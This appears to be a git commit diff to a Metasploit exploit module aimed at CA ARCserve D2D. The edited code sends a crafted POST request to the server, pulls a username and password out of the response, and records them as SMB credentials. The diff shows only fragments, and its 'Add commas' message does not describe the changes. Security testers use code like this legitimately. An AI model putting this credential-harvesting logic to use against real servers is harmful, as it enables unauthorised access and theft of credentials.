Add commas
git-svn-id: file:///home/svn/framework3/trunk@14007 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
521aec205b
commit
091b9779e2
|
@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D"
|
||||
|
||||
resp = send_request_raw({
|
||||
res = send_request_raw({
|
||||
'uri' => '/contents/service/homepage',
|
||||
'version' => '1.1',
|
||||
'method' => 'POST',
|
||||
|
@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
}
|
||||
}, 5)
|
||||
|
||||
resp = resp.to_s.split(',')
|
||||
resp = res.to_s.split(',')
|
||||
|
||||
user_index = resp.index("\"user\"")
|
||||
pass_index = resp.index("\"password\"")
|
||||
|
@ -106,15 +106,24 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# report the auth
|
||||
auth = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:sname => 'ca.arcserver.d2d',
|
||||
:port => 445,
|
||||
:sname => 'smb',
|
||||
:proto => 'tcp',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:active => true
|
||||
}
|
||||
report_auth_info(auth)
|
||||
|
||||
if user.nil? or pass.nil? or user.empty? or pass.empty?
|
||||
srvc = {
|
||||
:host => datastore['RHOST'],
|
||||
:port => datastore['RPORT'],
|
||||
:proto => 'tcp',
|
||||
:name => 'http',
|
||||
:info => res.headers['Server']
|
||||
}
|
||||
report_service(srvc)
|
||||
if user.nil? or pass.nil?
|
||||
print_error("Failed to collect the username and password")
|
||||
return
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue